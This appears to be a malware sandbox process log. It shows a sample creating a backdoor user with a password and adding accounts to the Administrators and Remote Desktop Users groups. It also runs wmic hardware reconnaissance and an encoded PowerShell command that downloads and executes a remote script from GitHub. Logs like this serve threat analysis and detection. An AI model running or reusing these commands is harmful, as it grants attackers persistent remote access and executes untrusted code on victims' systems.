C:\Windows\system32\net.exenet.exe user WgaUtilAcc jw4v83jO /add2⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc jw4v83jO /add3⤵PID:60
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1500
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD3⤵PID:3176
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:3420
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:3148
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc jw4v83jO1⤵PID:1468
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc jw4v83jO2⤵PID:3972
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc jw4v83jO3⤵PID:1048
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:2040
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:3052
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:592
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
PID:916
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1272
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1516
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